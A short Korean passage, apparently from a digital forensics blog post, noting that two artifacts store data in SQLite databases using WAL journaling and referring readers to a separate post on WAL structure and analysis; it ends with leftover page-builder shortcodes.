위 두 아티팩트는 SQLite 데이터베이스를 사용하며, 두 SQLite가 저널링 기능인 WAL(Write-Ahead Logging)을 사용한다. 이에 WAL에 대한 별도의 분석이 필요하다. 이에 대한 포스팅은 SQLite WAL (Write-Ahead Logging)을 참고하면, 구조와 분석 방법을 확인할 수 있을 것이다.
[/fusion_toggle]
[/fusion_accordion][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]